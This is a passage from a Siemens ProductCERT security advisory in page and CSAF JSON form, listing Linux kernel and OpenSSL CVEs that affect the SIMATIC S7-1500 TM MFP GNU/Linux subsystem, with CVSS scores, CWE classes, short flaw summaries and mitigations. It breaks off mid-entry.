                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21846

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21858

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21859

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-667 - Improper Locking

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21862

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-908 - Use of Uninitialized Resource

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-21865

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-68160

4.7 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-69418

4.0 (Medium)


                        
                          CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

CWE-325 - Missing Cryptographic Step

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-69419

7.4 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

CWE-787 - Out-of-bounds Write

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-69420

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-754 - Improper Check for Unusual or Exceptional Conditions

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2025-69421

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2026-22795

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

CWE-754 - Improper Check for Unusual or Exceptional Conditions

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2026-22796

5.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE-754 - Improper Check for Unusual or Exceptional Conditions

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2026-28387

7.0 (High)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H

CWE-416 - Use After Free

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2026-28388

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2026-28389

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2026-28390

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

CVE-2026-31431

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-669 - Incorrect Resource Transfer Between Spheres

Affected products

Known affected 1 product

Product	Identifier	Version	Remediation
SIMATIC S7-1500 TM MFP - GNU/Linux subsystem Siemens / SIMATIC S7-1500 TM MFP - GNU/Linux subsystem		vers:all/*	Mitigation Mitigation None Available

References

2 references

URL	Category
https://cert-portal.siemens.com/productcert/html/…	self
https://cert-portal.siemens.com/productcert/csaf/…	self

JSON

To clipboard

{
  "document": {
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Disclosure is not limited. (TLPv2: TLP:CLEAR)",
      "tlp": {
        "label": "WHITE"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "Multiple vulnerabilities have been identified in the additional GNU/Linux subsystem of the SIMATIC S7-1500 TM MFP V1.1.\n\nSiemens is preparing fix versions and recommends specific countermeasures for products where fixes are not, or not yet available.",
        "title": "Summary"
      },
      {
        "category": "general",
        "text": "As a general security measure, Siemens strongly recommends to protect network access to devices with appropriate mechanisms. In order to operate the devices in a protected IT environment, Siemens recommends to configure the environment according to Siemens\u0027 operational guidelines for Industrial Security (Download: https://www.siemens.com/cert/operational-guidelines-industrial-security), and to follow the recommendations in the product manuals.\nAdditional information on Industrial Security by Siemens can be found at: https://www.siemens.com/industrialsecurity",
        "title": "General Recommendations"
      },
      {
        "category": "general",
        "text": "For further inquiries on security vulnerabilities in Siemens products and solutions, please contact the Siemens ProductCERT: https://www.siemens.com/cert/advisories",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The use of Siemens Security Advisories is subject to the terms and conditions listed on: https://www.siemens.com/productcert/terms-of-use.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "productcert@siemens.com",
      "name": "Siemens ProductCERT",
      "namespace": "https://www.siemens.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "SSA-265688: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 TM MFP V1.1 - HTML Version",
        "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
      },
      {
        "category": "self",
        "summary": "SSA-265688: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 TM MFP V1.1 - CSAF Version",
        "url": "https://cert-portal.siemens.com/productcert/csaf/ssa-265688.json"
      }
    ],
    "title": "SSA-265688: Vulnerabilities in the additional GNU/Linux subsystem of the SIMATIC S7-1500 TM MFP V1.1",
    "tracking": {
      "current_release_date": "2026-05-12T00:00:00.000Z",
      "generator": {
        "engine": {
          "name": "Siemens ProductCERT CSAF Generator",
          "version": "1"
        }
      },
      "id": "SSA-265688",
      "initial_release_date": "2024-04-09T00:00:00.000Z",
      "revision_history": [
        {
          "date": "2024-04-09T00:00:00.000Z",
          "legacy_version": "1.0",
          "number": "1",
          "summary": "Publication Date"
        },
        {
          "date": "2024-05-14T00:00:00.000Z",
          "legacy_version": "1.1",
          "number": "2",
          "summary": "Added CVE-2024-2511"
        },
        {
          "date": "2024-07-09T00:00:00.000Z",
          "legacy_version": "1.2",
          "number": "3",
          "summary": "Added CVE-2024-5535"
        },
        {
          "date": "2024-11-12T00:00:00.000Z",
          "legacy_version": "1.3",
          "number": "4",
          "summary": "Added CVE-2024-9143"
        },
        {
          "date": "2025-03-11T00:00:00.000Z",
          "legacy_version": "1.4",
          "number": "5",
          "summary": "Added CVE-2024-36484, CVE-2024-36902, CVE-2024-36904, CVE-2024-36905, CVE-2024-36916, CVE-2024-36929, CVE-2024-36939, CVE-2024-36940, CVE-2024-36959, CVE-2024-44987, CVE-2024-44989, CVE-2024-44990, CVE-2024-45016, CVE-2024-45018, CVE-2024-46679, CVE-2024-46743, CVE-2024-46744, CVE-2024-46745, CVE-2024-46750, CVE-2024-46759, CVE-2024-46783, CVE-2024-47660, CVE-2024-50299, CVE-2024-50301, CVE-2024-53101"
        },
        {
          "date": "2025-04-08T00:00:00.000Z",
          "legacy_version": "1.5",
          "number": "6",
          "summary": "Added CVE-2024-50302 (incl. product-specific impact description) and multiple other CVEs"
        },
        {
          "date": "2025-06-10T00:00:00.000Z",
          "legacy_version": "1.6",
          "number": "7",
          "summary": "Added 63 CVEs"
        },
        {
          "date": "2025-07-08T00:00:00.000Z",
          "legacy_version": "1.7",
          "number": "8",
          "summary": "Added 71 CVEs"
        },
        {
          "date": "2025-08-12T00:00:00.000Z",
          "legacy_version": "1.8",
          "number": "9",
          "summary": "Added 147 CVEs"
        },
        {
          "date": "2025-09-09T00:00:00.000Z",
          "legacy_version": "1.9",
          "number": "10",
          "summary": "Added 51 CVEs"
        },
        {
          "date": "2025-10-14T00:00:00.000Z",
          "legacy_version": "2.0",
          "number": "11",
          "summary": "Added CVE-2025-9230, CVE-2023-50781, CVE-2023-6129, CVE-2023-6237, CVE-2024-0727"
        },
        {
          "date": "2026-02-10T00:00:00.000Z",
          "legacy_version": "2.1",
          "number": "12",
          "summary": "Added CVE-2025-68160,CVE-2025-69418,CVE-2025-69419,CVE-2025-69420,CVE-2025-69421,CVE-2026-22795,CVE-2026-22796"
        },
        {
          "date": "2026-05-12T00:00:00.000Z",
          "legacy_version": "2.2",
          "number": "13",
          "summary": "Added CVE-2026-28387, CVE-2026-28388, CVE-2026-28389, CVE-2026-28390, CVE-2026-31431. Removed  CVE-2024-0584, CVE-2024-47672 (rejected)."
        }
      ],
      "status": "interim",
      "version": "13"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "vers:all/*",
                "product": {
                  "name": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
                  "product_id": "1"
                }
              }
            ],
            "category": "product_name",
            "name": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem"
          }
        ],
        "category": "vendor",
        "name": "Siemens"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2021-4090",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
          "text": "An out-of-bounds (OOB) memory write flaw was found in the NFSD in the Linux kernel. Missing sanity may lead to a write beyond bmval[bmlen-1] in nfsd4_decode_bitmap4 in fs/nfsd/nfs4xdr.c. In this flaw, a local attacker with user privilege may gain access to out-of-bounds memory, leading to a system integrity and confidentiality threat.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2021-4090"
    },
    {
      "cve": "CVE-2021-38202",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "fs/nfsd/trace.h in the Linux kernel before 5.13.4 might allow remote attackers to cause a denial of service (out-of-bounds read in strlen) by sending NFS traffic when the trace event framework is being used for nfsd.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2021-38202"
    },
    {
      "cve": "CVE-2021-47002",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "SUNRPC: null pointer dereference in svc_rqst_free(). When alloc_pages_node() returns null in svc_rqst_alloc(), the null rq_scratch_page pointer will be dereferenced when calling put_page() in svc_rqst_free().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2021-47002"
    },
    {
      "cve": "CVE-2021-47107",
      "cwe": {
        "id": "CWE-121",
        "name": "Stack-based Buffer Overflow"
      },
      "notes": [
        {
          "category": "summary",
          "text": "NFSD: READDIR buffer overflow. If a client sends a READDIR count argument that is too small (say, zero), then the buffer size calculation in the new init_dirlist helper functions results in an underflow, allowing the XDR stream functions to write beyond the actual buffer. This calculation has always been suspect. NFSD has never sanity- checked the READDIR count argument, but the old entry encoders managed the problem correctly. With the commits below, entry encoding changed, exposing the underflow to the pointer arithmetic in xdr_reserve_space(). Modern NFS clients attempt to retrieve as much data as possible for each READDIR request.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2021-47107"
    },
    {
      "cve": "CVE-2021-47316",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "nfsd: NULL dereference in nfs3svc_encode_getaclres.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2021-47316"
    },
    {
      "cve": "CVE-2022-38096",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2022-38096"
    },
    {
      "cve": "CVE-2022-43945",
      "cwe": {
        "id": "CWE-131",
        "name": "Incorrect Calculation of Buffer Size"
      },
      "notes": [
        {
          "category": "summary",
          "text": "The Linux kernel NFSD implementation prior to versions 5.19.17 and 6.0.2 are vulnerable to buffer overflow. NFSD tracks the number of pages held by each NFSD thread by combining the receive and send buffers of a remote procedure call (RPC) into a single array of pages. A client can force the send buffer to shrink by sending an RPC message over TCP with garbage data added at the end of the message. The RPC message with garbage data is still correctly formed according to the specification and is passed forward to handlers. Vulnerable code in NFSD is not expecting the oversized request and writes beyond the allocated buffer space.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2022-43945"
    },
    {
      "cve": "CVE-2022-48827",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "NFSD: vulnerability caused by loff_t overflow on the server when a client reads near the maximum offset, causing the server to return an EINVAL error, which the client retries indefinitely, instead of handling out-of-range READ requests by returning a short result with an EOF flag.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2022-48827"
    },
    {
      "cve": "CVE-2022-48828",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "NFSD: Vulnerability caused by an underflow in ia_size due to a mismatch between signed and unsigned 64-bit file size values, which can cause issues when handling large file sizes from NFS clients.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.8,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2022-48828"
    },
    {
      "cve": "CVE-2022-48829",
      "cwe": {
        "id": "CWE-253",
        "name": "Incorrect Check of Function Return Value"
      },
      "notes": [
        {
          "category": "summary",
          "text": "NFSD: Vulnerability handling large file sizes for NFSv3 improperly capping client size values larger than s64_max, leading to unexpected behavior and potential data corruption.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.1,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2022-48829"
    },
    {
      "cve": "CVE-2023-1652",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "A use-after-free flaw was found in nfsd4_ssc_setup_dul in fs/nfsd/nfs4proc.c in the NFS filesystem in the Linux Kernel. This issue could allow a local attacker to crash the system or it may lead to a kernel information leak problem.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-1652"
    },
    {
      "cve": "CVE-2023-5678",
      "cwe": {
        "id": "CWE-606",
        "name": "Unchecked Input for Loop Condition"
      },
      "notes": [
        {
          "category": "summary",
          "text": "Issue summary: Generating excessively long X9.42 DH keys or checking excessively long X9.42 DH keys or parameters may be very slow. Impact summary: Applications that use the functions DH_generate_key() to generate an X9.42 DH key may experience long delays. Likewise, applications that use DH_check_pub_key(), DH_check_pub_key_ex() or EVP_PKEY_public_check() to check an X9.42 DH key or X9.42 DH parameters may experience long delays. Where the key or parameters that are being checked have been obtained from an untrusted source this may lead to a Denial of Service. While DH_check() performs all the necessary checks (as of CVE-2023-3817), DH_check_pub_key() doesn\u0027t make any of these checks, and is therefore vulnerable for excessively large P and Q parameters. Likewise, while DH_generate_key() performs a check for an excessively large P, it doesn\u0027t check for an excessively large Q. An application that calls DH_generate_key() or DH_check_pub_key() and supplies a key or parameters obtained from an untrusted source could be vulnerable to a Denial of Service attack. DH_generate_key() and DH_check_pub_key() are also called by a number of other OpenSSL functions. An application calling any of those other functions may similarly be affected. The other functions affected by this are DH_check_pub_key_ex(), EVP_PKEY_public_check(), and EVP_PKEY_generate(). Also vulnerable are the OpenSSL pkey command line application when using the \"-pubcheck\" option, as well as the OpenSSL genpkey command line application. The OpenSSL SSL/TLS implementation is not affected by this issue. The OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-5678"
    },
    {
      "cve": "CVE-2023-6121",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "An out-of-bounds read vulnerability was found in the NVMe-oF/TCP subsystem in the Linux kernel. This issue may allow a remote attacker to send a crafted TCP packet, triggering a heap-based buffer overflow that results in kmalloc data being printed and potentially leaked to the kernel ring buffer (dmesg).",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2023-6121"
    },
    {
      "cve": "CVE-2023-6129",
      "cwe": {
        "id": "CWE-787",
        "name": "Out-of-bounds Write"
      },
      "notes": [
        {
          "category": "summary",
